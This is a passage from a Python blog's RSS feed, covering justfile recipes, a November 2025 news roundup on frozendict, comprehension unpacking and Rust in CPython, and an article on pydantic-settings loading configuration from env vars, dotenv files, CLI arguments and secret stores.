# but anything you type will be overriding that so you 
# could type &#8220;just format your_file.py&#8221;.
format +targets=&#8221;src test&#8221;:
    ruff format {{targets}}
    ruff check --fix {{targets}}


# 0, 1 or more. This means that &#8220;just test&#8221; accepts any
# number of arguments, and passes them to &#8220;pytest tests&#8221;. 
# If you pass nothing it will run &#8220;pytest tests&#8221;. 
# But you could do &#8220;just test -k &#8216;filter&#8217; --pdb&#8221;
# and it will run  &#8220;pytest tests -k &#8216;filter&#8217; --pdb&#8221;.
test *args:
    pytest tests {{args}}</code></code></pre><p>Should you need to, you can set an environment variable for a single command:</p><pre><code><code>shell $PYTHONSTARTUP=&#8221;~/pythonstartup.py&#8221;:
    ipython</code></code></pre><p>So you don&#8217;t need to use <code>export</code> for everything. This works cross-shell.</p><h2><strong>Just make it more compatible</strong></h2><p>You will likely have to deal with cross-compatibility problems if you define recipes that must run on different OS.</p><p>You can define recipes that only exist on certain platforms:</p><pre><code><code># This recipe exists only on windows. Here I use a powershell command.
[windows]
clean_pyc:
    Get-ChildItem -Path . -Filter *.pyc -Recurse | Remove-Item -Force

# This recipe exists only on mac and linux, which both have find.
[unix]
clean_pyc:
    find . -name &#8220;*.pyc&#8221; -exec rm -f {} \;</code></code></pre><p>You will find many markers like this with <code>just</code>. </p><p>E.G., this will not change the directory to the project root before running the recipe, and ask &#8220;Run recipe clean_py&#8221; before starting the show:</p><pre><code>[unix, confirm, no-cd] 
clean_pyc: 
    find . -name &#8220;*.pyc&#8221; -exec rm -f {} ;</code></pre><p>You may want people to define private recipes or load recipes only in some environments. In this case, you can optionally import them from another file. Start your <code>justfile</code> with this:</p><pre><code><code>import? &#8216;another_file.just&#8217;

# Optional, use:
# set allow-duplicate-recipes
# To allow the same command to be defined twice and the last one
# to override all the previous ones.</code></code></pre><p>It will attempt to include all recipes from <code>another_file.just</code> if it exists. If it doesn&#8217;t, it does nothing.</p><p>You can also tell it to load env vars from a <code>.env</code> file, which will let you configure applications depending on the context:</p><pre><code><code>set dotenv-load</code></code></pre><h2><strong>Just conclude</strong></h2><p>There is a lot more you can do with <code>just</code>. The DSL has conditionals, built-in functions, and unstable opt-in features. But with just what you have here, you can normalize most of your project in a convenient, fast, readable, and portable way.</p><p>LLM are good at generating justfiles. Justfiles help them to know what actions they can run on a project. It&#8217;s good documentation for everyone.</p><p>I&#8217;ll leave you with the last trick. Define:</p><pre><code><code>default:
    @just --list</code></code></pre><p>So that somebody calling <code>just</code> without argument will run <code>just --list</code> instead.</p><p>Because yes, you can call <code>just</code> from inside <code>just</code>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">just subscribe!</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[What’s up Python ? Rust in CPython, immutable dicts, unpacking in comprehensions...]]></title><description><![CDATA[November, 2025]]></description><link>https://www.bitecode.dev/p/whats-up-python-rust-in-cpython-immutable</link><guid isPermaLink="false">https://www.bitecode.dev/p/whats-up-python-rust-in-cpython-immutable</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Mon, 08 Dec 2025 17:35:07 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/30f58215-e666-443b-9ff3-fb88772a0ed3_966x966.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Summary</strong></h2><ul><li><p><em>For the 3rd time, a proposal for adding an immutable mapping type to Python has landed.</em></p></li><li><p><em>We will be allowed to use unpacking in comprehensions in Python 3.15.</em></p></li><li><p><em>The debate of whether to introduce Rust to CPython has started, and it&#8217;s intense.</em></p></li><li><p><em>And moar stuff.</em></p></li></ul><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2><strong>Looks like frozendict is back on the menu, boys</strong></h2><p>Python's distinction between mutable (can be modified after creation) and immutable (can&#8217;t be modified after creation) lives on the objects themselves, not the variable, like, say, in Rust with the <code>mut</code> keyword.</p><p>Strings and tuples are immutable. But byte arrays and lists are mutable.</p><p>Sets even have a <code>frozenset</code> counterpart:</p><pre><code><code>&gt;&gt;&gt; s = {1, 2, 3}
&gt;&gt;&gt; s.add(4)
&gt;&gt;&gt; s
{1, 2, 3, 4}
&gt;&gt;&gt; s2 = frozenset(s)
&gt;&gt;&gt; s2
frozenset({1, 2, 3})
&gt;&gt;&gt; s2.add(4)
Traceback (most recent call last):
  File &#8220;&lt;python-input-4&gt;&#8221;, line 1, in &lt;module&gt;
    s2.add(4)
    ^^^^^^
AttributeError: &#8216;frozenset&#8217; object has no attribute &#8216;add&#8217;</code></code></pre><p>It&#8217;s not for lack of trying. <a href="https://peps.python.org/pep-0416/">PEP 416</a> and <a href="https://peps.python.org/pep-0603/">PEP 603</a> were both previous attempts to bring an immutable mapping type to Python, but didn&#8217;t gather support.</p><p>Of course, now that we have a GIL-less version of Python, and immutable types being very useful for concurrency, maybe a new proposal could succeed. And tada! Victor Stinner <a href="https://github.com/python/steering-council/issues/325">submitted</a> a new one: <a href="https://peps.python.org/pep-0814/">PEP 814</a>.</p><p>This version is not controversial in design and mirrors <code>frozenset</code>.</p><ul><li><p><code>frozendict()</code> creates a new empty immutable mapping.</p></li><li><p><code>frozendict(collection)</code> creates a mapping from the passed collection object.</p></li><li><p>Unpacking works: <code>frozendict(collection, **kwargs)</code>.</p></li><li><p>Keys must be hashable and therefore immutable, but values can be mutable. Using immutable values creates a hashable <code>frozendict</code>.</p></li><li><p><code>items()</code>, <code>.keys()</code>, <code>.values()</code> and <code>.copy()</code> exist and do what you expect.</p></li><li><p><code>frozendict()</code> can be compared to <code>dict()</code>.</p></li><li><p><code>|</code> behaves like <code>+</code> on tuples.</p></li><li><p>Insertion order is preserved, it implements the collections.abc.Mapping protocol and supports pickling.</p></li></ul><p>So, it&#8217;s the right time, by the right person, with the right proposal, which is why I think it will be accepted.</p><p>Personally, I want an immutable mapping for a single reason: to use them as default arguments and avoid having <code>ruff</code> forcing me to use <code>MappingProxy</code> by warning me to death. Because usable mutable default values are bad, and I&#8217;m a bad person.</p><h2><strong>Looks like unpacking in Comprehensions is... well you get it.</strong></h2><p>Except this one is <a href="https://discuss.python.org/t/pep-798-unpacking-in-comprehensions/99435/60">already accepted</a>.</p><p><a href="https://peps.python.org/pep-0798/">PEP 798 &#8211; Unpacking in Comprehensions</a>&#8216;s title is pretty much the gist of it: we can use unpacking everywhere, why not in comprehensions?</p><p>After all, you can do this:</p><pre><code><code>devices = [*phones, *laptops, *tablets, &#8220;commodore 64&#8221;, &#8220;steam deck&#8221;]</code></code></pre><p>So why not this?</p><pre><code><code>devices = [*category for category in device_by_category]</code></code></pre><p>Well, it turns out it&#8217;s been a loooooong discussion. In fact, many long discussions.</p><p>To finally, eventually, just exactly do that.</p><p>It&#8217;s a nice QoL improvement, which should free us from flattening nested iterables with:</p><pre><code><code>from itertools import chain
devices = list(chain.from_iterable(device_by_category))</code></code></pre><p>Or worse:</p><pre><code><code>devices = [device for category in device_by_category for device in category]</code></code></pre><p>It&#8217;s planned for Python 3.15, and will work with all the usual flavors of comprehension:</p><pre><code><code>[*it for it in its]  # list comprehension
{*it for it in its}  # set comprehension
{**d for d in dicts} # dict comprehension
(*it for it in its)  # generator expression</code></code></pre><p>You may argue that &#8220;<a href="https://en.wikipedia.org/wiki/Zen_of_Python">There should be one-- and preferably only one --obvious way to do it</a>&#8220; has been dead, incinerated, and the ashes buried.</p><p>But next time I&#8217;ll be looking to take a nested iterable and make it nice and flat, this will be the obvious way for me.</p><p>We trade the &#8220;preferably only one&#8221; away to stay relevant as time goes by. Having one consistent idiomatic solution displacing all the others while not breaking the world is the right direction to go.</p><h2><strong>And now they want Rust in Python</strong></h2><p>Because of course they do. We have <a href="https://docs.kernel.org/rust/index.html">Rust in the Linux project</a> and <a href="https://lore.kernel.org/git/20250904-b4-pks-rust-breaking-change-v1-0-3af1d25e0be9@pks.im/">Rust in the Git project</a>, plus there is already a <a href="https://github.com/RustPython/RustPython">Rust implementation of Python</a>.</p><p>It was only a matter of time before someone suggested CPython, called that way because it is implemented in C, should also make a first oxidation step.</p><p>My tone is tongue-in-cheek. Those moves have been made by very knowledgeable people with clear objectives and a well-defined experimental stage. And the <a href="https://discuss.python.org/t/pre-pep-rust-for-cpython/104906/6">pre-PEP discussion about adding Rust for CPython</a> is no exception:</p><ul><li><p>It&#8217;s championed by two core devs.</p></li><li><p>It advocates that CPython has had numerous bugs in the past that would have been impossible with Rust.</p></li><li><p>It suggests, as with other projects, to start very small and with Rust-based extension modules that are neither part of the core of CPython nor the standard library.</p></li><li><p>And it&#8217;s, of course, just a discussion of a topic that would have been brought up one day or another.</p></li></ul><p>Guido himself commented:</p><blockquote><p>I think this is a great development</p></blockquote><p>While the core dev, and <a href="https://www.youtube.com/watch?v=rYzgroaK8_Q">time zone Guru</a>, Paul Ganssle notes that:</p><blockquote><p>as someone who always introduces memory leaks and segfaults and such any time he writes any kind of C extension code, I welcome the idea</p></blockquote><p>Because beyond the hype around Rust, there is real value: zero cost high-level datastructures, provable memory safety, robust concurrency... All hard problems to tackle that the language and its ecosystem have been very good at addressing.</p><p>Plus, Rust is not new anymore. It&#8217;s stable (v1.91), it&#8217;s 13 years old, and it&#8217;s been widely used in the Python community to create compiled extensions already, thanks to the <a href="https://pyo3.rs/v0.15.1/">PyO3 project</a>. The two languages have been BFF for a while, and you&#8217;ll find well-respected figures of the community that have a foot in both: Armin Ronacher (flask), Samuel Colvin (pydantic), Charlie Marsh (uv)...</p><p>Personally, I have been consistently experiencing better quality from Rust-written software.</p><p>Maybe it&#8217;s the type of language that attracts people who are interested in getting the details right.</p><p>Or maybe the qualities of the language mean that if a project manages to reach the production stage, it will be better than an alternative that would reach the production stage because the minimal level of quality and checks required is better.</p><p>Or maybe the ecosystem is just very good.</p><p>Or maybe it&#8217;s all together, and something more.</p><p>Doesn&#8217;t matter.</p><p>The fact is, I did have a subjectively better experience with software written in Rust than in Python, JS, or even Go or Java.</p><p>So &#8220;written in Rust, BTW&#8221; will unironically make it more likely that I try some software.  </p><p>Does that make it the right fit for Python? I&#8217;m not competent to answer, but I welcome the talk.</p><p>Of course, there are a lot of issues to address:</p><ul><li><p>What does it mean for Python's support of exotic platforms? You can compile C on a toaster after all.</p></li><li><p>What&#8217;s going to happen to the API that C extensions use?</p></li><li><p>Rust has a notoriously slow compile time, which means slow feedback loops. How does that affect Python?</p></li><li><p>How much effort can be engaged for this, and when does one consider the ROI worth it? On what metrics?</p></li><li><p>How do you deal with the accumulated knowledge of people who have been on the project forever, experts in C, but with no intention to learn a new language?</p></li><li><p>What&#8217;s the timeline for all that?</p></li></ul><p>All this is compounded by the fact that it&#8217;s touching a very old code base on a hugely popular project that affects billions of people, carried by community work. And if you needed even more intensity, this is, of course, also a strongly emotionally charged topic.</p><p>The discussion is already full of questions and answers, then more questions, and is quickly becoming one of the most active threads on discuss.python.org ever, with already 234 levels of pagination in less than a month.</p><p>To give you a context of how much of a heated debate it is, the discussion about removing <a href="https://discuss.python.org/t/pep-703-making-the-global-interpreter-lock-optional/22606">the bloody GIL</a> was 130 pagination levels. After almost two years.</p><p>So, unless you want to participate in the debate yourself, it&#8217;s better to wait and see until the dust settles a little because right now there is way too much movement to get a clear picture of what is and what can be.</p><h2><strong>Moar?</strong></h2><ul><li><p><a href="https://mypy-lang.blogspot.com/2025/11/mypy-119-released.htmlhttps://https://mypy-lang.blogspot.com/2025/11/mypy-119-released.htm">Mypy 1.19 has been released</a>. It&#8217;s the last one to support Python 3.9, making the new fast cache stable (use <code>--fixed-format-cache</code> to activate it), and providing unstable support for <a href="https://peps.python.org/pep-0747/https:/">PEP 747</a> (types to represent types).</p></li><li><p><a href="https://pythoninsider.blogspot.com/2025/11/python-3150a2.html">Python 3.15 alpha 2 is out</a>. For now, the most notable features is the <a href="https://docs.python.org/3.15/whatsnew/3.15.html#whatsnew315-sampling-profiler">new profiler</a>, and it <a href="https://bsky.app/profile/pablogsal.com/post/3m6zvwbis7s2u">looks pretty</a>.</p></li><li><p>Python <a href="https://pythoninsider.blogspot.com/2025/12/python-31310-is-now-available-too-you.html">3.13.10</a> and <a href="https://pythoninsider.blogspot.com/2025/12/python-3141-is-now-available.html">3.14.1</a> provide the usual bug fixes and security patches.</p></li><li><p>VSCode Python extension <a href="https://devblogs.microsoft.com/python/python-in-visual-studio-code-november-2025-release/https:/">gets a new Code Action</a> that lets you quickly convert <code>import *</code> into an explicit import.</p></li><li><p>Django gets <a href="https://framapiaf.org/@djangonews@mastodon.social/115650500373293847">the usual security releases</a> for 5.2.9, 5.1.15, and 4.2.27. Yep, they still support 4 because they are awesome.</p></li><li><p><a href="https://www.djangoproject.com/weblog/2025/dec/03/django-60-released/">Django 6</a> is out with <a href="https://docs.djangoproject.com/en/6.0/releases/6.0/#content-security-policy-support">Content Security Policy support</a>, the new <a href="https://file+.vscode-resource.vscode-cdn.net/home/user/Work/ecriture/bytecode.dev/newsletter/2025/12/07/%5Bhttps://docs.djangoproject.com/en/6.0/releases/6.0/#template-partials%5D(https://docs.djangoproject.com/en/6.0/ref/templates/language/#template-partials)">Template Partials</a> (that will be nice with HTMX), and <a href="https://docs.djangoproject.com/en/6.0/releases/6.0/#background-tasks">integrated background tasks</a>, which we talked about on the blog previously.</p></li><li><p><a href="https://github.com/yt-dlp/yt-dlp">yt-dlp</a>, the fantastic Python video downloader CLI tool, <a href="https://github.com/yt-dlp/yt-dlp/issues/15012">will now require a JS runtime for full youtube support</a>.</p></li></ul><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">If you want less Rust content, enter your email here. If you want more Rust content, enter your email here. Either way, I&#8217;ll write the same articles, but you will get them!</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[Pydantic can do what?]]></title><description><![CDATA[Course I knew it, just making sure you knew it]]></description><link>https://www.bitecode.dev/p/pydantic-can-do-what</link><guid isPermaLink="false">https://www.bitecode.dev/p/pydantic-can-do-what</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Sat, 22 Nov 2025 11:17:23 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/b3ec1026-f971-44d3-825b-6f411f7741c4_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Summary</strong></h2><p><em>Pydantic has grown so Fast, and it now contains a full-featured settings loader system with support for getting values from env vars, multiple dotenv files, config file, and cloud vaults.</em></p><p><em>In fact, it can even parse CLI arguments now.</em></p><p><em>Today, you can effectively replace calls to environs/dotenv, click/typer/argparse, tomlib/yaml/json, and most parsing+validation code with a Pydantic class.</em></p><p><em>And it will cascade all those, deal with missing sources, handle priorities, understand deeply nested values, and censor secrets.</em></p><p><em>It&#8217;s quite good, I would say.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2><strong>Pydantic is a chonky bo&#239; now</strong></h2><p><a href="https://docs.pydantic.dev/latest/">Pydantic</a> started as a simple validation library, like <a href="https://marshmallow.readthedocs.io/en/latest/">marshmallow</a>, and is mostly used as such today. You first define a schema:</p><pre><code><code>&gt;&gt;&gt; from pydantic import BaseModel, HttpUrl, ValidationError
... from datetime import date
... 
... class Book(BaseModel):
...     title: str
...     url: HttpUrl
... 
... class LibraryCheckoutRequest(BaseModel):
...     date: date
...     user_id: str
...     books: list[Book]</code></code></pre><p>Then you validate data with that schema. If it works, you get a regular object you can manipulate that you know contains exactly what you want:</p><pre><code><code>... valid_request = LibraryCheckoutRequest(
...     date=&#8221;2025-11-21&#8221;,
...     user_id=&#8221;user123&#8221;,
...     books=[
...         {&#8221;title&#8221;: &#8220;1984&#8221;, &#8220;url&#8221;: &#8220;https://library.example.com/books/1984&#8221;},
...         {&#8221;title&#8221;: &#8220;Brave New World&#8221;, &#8220;url&#8221;: &#8220;https://library.example.com/books/brave-new-world&#8221;}
...     ]
... )
... 
&gt;&gt;&gt; valid_request

LibraryCheckoutRequest(
    date=datetime.date(2025, 11, 21),
    user_id=&#8217;user123&#8217;,
    books=[
        Book(title=&#8217;1984&#8217;, url=HttpUrl(&#8217;https://library.example.com/books/1984&#8217;)),
        Book(title=&#8217;Brave New World&#8217;, url=HttpUrl(&#8217;https://library.example.com/books/brave-new-world&#8217;))
    ]
)
&gt;&gt;&gt; valid_request.books[0].url.path
&#8216;/books/1984&#8217;</code></code></pre><p>And if the data is invalid, it will tell you so, and what the problem is with it:</p><pre><code><code> ... try:
...     invalid_request = LibraryCheckoutRequest(
...         date=&#8221;not-a-date&#8221;,
...         user_id=123,
...         books=[
...             {&#8221;title&#8221;: &#8220;Invalid Book&#8221;, &#8220;url&#8221;: &#8220;not-a-url&#8221;}
...         ]
...     )
... except ValidationError as e:
...     print(e)
... 
3 validation errors for LibraryCheckoutRequest
date
  Input should be a valid date or datetime, invalid character in year [type=date_from_datetime_parsing, input_value=&#8217;not-a-date&#8217;, input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/date_from_datetime_parsing
user_id
  Input should be a valid string [type=string_type, input_value=123, input_type=int]
    For further information visit https://errors.pydantic.dev/2.12/v/string_type
books.0.url
  Input should be a valid URL, relative URL without a base [type=url_parsing, input_value=&#8217;not-a-url&#8217;, input_type=str]
    For further information visit https://errors.pydantic.dev/2.12/v/url_parsing
</code></code></pre><p>It can also serialize/deserialize data to JSON and is compatible with type hints, for this reason, it was eventually adopted by <a href="https://fastapi.tiangolo.com/">FastAPI</a> to define endpoints in an succinct and elegant way, and became very popular.</p><p>So they added more stuff.</p><h2><strong>What do you mean, it does settings?</strong></h2><p>Over time, Pydantic has accumulated more and more features, and one day made an innocent addition: a small class dedicated to loading values from environment variables and validating them. It has since grown, and grown, and it&#8217;s now an unexpectedly excellent settings loader system.</p><p>It has become so much more than it was at the beginning, in fact, that in 2023, the code was extracted into its own separate package: <a href="https://github.com/pydantic/pydantic-settings">pydantic-settings</a>.</p><p>Here is a simple example:</p><pre><code><code># /// script
# dependencies = [
#   &#8220;pydantic_settings&#8221;
# ]
# ///

from pathlib import Path
from typing import Literal

from pydantic import SecretStr, Field, DirectoryPath, conint, HttpUrl, ConfigDict
from pydantic_settings import BaseSettings

class Settings(BaseSettings):

    service_url: HttpUrl
    api_token: SecretStr
    log_level: Literal[&#8217;DEBUG&#8217;, &#8216;INFO&#8217;, &#8216;WARNING&#8217;, &#8216;ERROR&#8217;, &#8216;CRITICAL&#8217;] = &#8216;INFO&#8217;
    upload_dir: DirectoryPath = Path(&#8221;/tmp/uploads&#8221;)
    port: conint(ge=1024, le=65535) = 8080
    
    model_config = ConfigDict(
        env_file=(&#8221;/etc/.env&#8221;, &#8220;.env&#8221;),
        env_file_encoding=&#8221;utf-8&#8221;
    )

if __name__ == &#8220;__main__&#8221;:
    settings = Settings(log_level=&#8221;WARNING&#8221;)
    print(&#8221;Service URL:&#8221;, settings.service_url)
    print(&#8221;API Token:&#8221;, settings.api_token)
    print(&#8221;Log Level:&#8221;, settings.log_level)
    print(&#8221;Upload Directory:&#8221;, settings.upload_dir)
    print(&#8221;Port:&#8221;, settings.port)
</code></code></pre><p>In a few lines, you already get so many things:</p><ul><li><p>This will load all values from a <code>/etc/.env</code> then a <code>.env</code> file if they exist.</p></li><li><p>This will <em>then</em> load all values from <a href="https://www.bitecode.dev/p/environment-variables-for-beginners">environment variables</a>. They override the previous values.</p></li><li><p>This will then override those with any parameters manually passed to <code>Settings</code>.</p></li><li><p>Then it will deserialize all those values into proper Python types. <code>upload_dir</code> will be a <code>Path</code>, for example.</p></li><li><p>And finally, it will perform validation. Check if the port matches the given range. That the log level is one of the allowed values, etc.</p></li></ul><p>That packs a punch.</p><p>It&#8217;s not even limited in format; you can load from any source. The lib supports JSON, TOML, and YAML out of the box, but you can inherit from <code>PydanticBaseSettingsSource</code> and create your own loader. You can even change the order in which sources are loaded by overloading the <code>settings_customise_sources</code> method on your settings class.</p><p>But the cool thing about it is that despite the fact that I have been using this for quite some time, every time I come back to the doc, there is something new.</p><h2><strong>But it cannot parse sys.argv, can it?</strong></h2><p>Recently, I learned that, lo and behold, Pydantic settings can now handle command-line arguments. You just need to add one parameter to <code>DictConfig</code>:</p><pre><code><code>model_config = ConfigDict(
    env_file=(&#8221;/etc/.env&#8221;, &#8220;.env&#8221;),
    env_file_encoding=&#8221;utf-8&#8221;,
    cli_parse_args=True
)</code></code></pre><p>And boom:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!z4nS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0416d00e-d524-4237-aa15-3429b4e02249_1548x284.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!z4nS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0416d00e-d524-4237-aa15-3429b4e02249_1548x284.png 424w, https://substackcdn.com/image/fetch/$s_!z4nS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0416d00e-d524-4237-aa15-3429b4e02249_1548x284.png 848w, https://substackcdn.com/image/fetch/$s_!z4nS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0416d00e-d524-4237-aa15-3429b4e02249_1548x284.png 1272w, https://substackcdn.com/image/fetch/$s_!z4nS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0416d00e-d524-4237-aa15-3429b4e02249_1548x284.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!z4nS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0416d00e-d524-4237-aa15-3429b4e02249_1548x284.png" width="1456" height="267" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0416d00e-d524-4237-aa15-3429b4e02249_1548x284.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:267,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:61424,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/179635958?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0416d00e-d524-4237-aa15-3429b4e02249_1548x284.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!z4nS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0416d00e-d524-4237-aa15-3429b4e02249_1548x284.png 424w, https://substackcdn.com/image/fetch/$s_!z4nS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0416d00e-d524-4237-aa15-3429b4e02249_1548x284.png 848w, https://substackcdn.com/image/fetch/$s_!z4nS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0416d00e-d524-4237-aa15-3429b4e02249_1548x284.png 1272w, https://substackcdn.com/image/fetch/$s_!z4nS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0416d00e-d524-4237-aa15-3429b4e02249_1548x284.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>So now you load, convert, and validate cascading settings from 2 dotenv files, env vars, and the CLI. If that&#8217;s not beautiful, I don&#8217;t know what is:</p><pre><code><code>&#10095; export API_TOKEN=&#8221;yeah_no&#8221;
&#10095; uv run foo.py --service_url https://bitecode.dev --upload_dir /tmp  
Service URL: https://bitecode.dev/
API Token: **********
Log Level: WARNING
Upload Directory: /tmp
Port: 8080</code></code></pre><p>And the CLI feature comes with many tricks in itself: sub-commands, kebab-case, passing lists/json to set complex values, aliases, <code>--no-flag</code>, positional args, mutually exclusive groups, argparse integration...</p><h2><strong>It&#8217;s a secret</strong></h2><p>Have you noticed the token is marked as a secret? That&#8217;s why if you print it, it will show <code>***</code>. You need to actively call <code>get_secret_value()</code> to read it, so it doesn&#8217;t end up in some log by mistake.</p><p>There is a whole part of the lib now that is dedicated to the retrieval of secrets. I can read <a href="https://docs.pydantic.dev/latest/concepts/pydantic_settings/#secrets">Unix secret files</a>, <a href="https://docs.pydantic.dev/latest/concepts/pydantic_settings/#use-case-docker-secrets">docker secrets</a>, <a href="https://docs.pydantic.dev/latest/concepts/pydantic_settings/#aws-secrets-manager">AWS secret manager</a>, <a href="https://docs.pydantic.dev/latest/concepts/pydantic_settings/#google-cloud-secret-manager">Google Cloud Secret Manager</a>, and <a href="https://docs.pydantic.dev/latest/concepts/pydantic_settings/#azure-key-vault">Azure Key Vault</a>, but as you can imagine, you can create your own.</p><p>Of course, the community did, so you can also load your token and passwords from a <a href="https://pypi.org/project/pydantic-settings-vault/">Hashicorp vault</a></p><p>Ironically enough, I was a critic of Pydantic when it came out and preferred to use alternatives. I&#8217;m happy to report I&#8217;ve done a full 180 on this and use it everywhere.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Qoz4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cf1e345-9eb0-47ea-9018-f8782c72a03a_656x365.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Qoz4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cf1e345-9eb0-47ea-9018-f8782c72a03a_656x365.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Qoz4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cf1e345-9eb0-47ea-9018-f8782c72a03a_656x365.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Qoz4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cf1e345-9eb0-47ea-9018-f8782c72a03a_656x365.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Qoz4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cf1e345-9eb0-47ea-9018-f8782c72a03a_656x365.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Qoz4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cf1e345-9eb0-47ea-9018-f8782c72a03a_656x365.jpeg" width="656" height="365" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2cf1e345-9eb0-47ea-9018-f8782c72a03a_656x365.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:365,&quot;width&quot;:656,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:84036,&quot;alt&quot;:&quot;Starship Troopers: Paul Verhoeven's Manic, Misunderstood Satire - 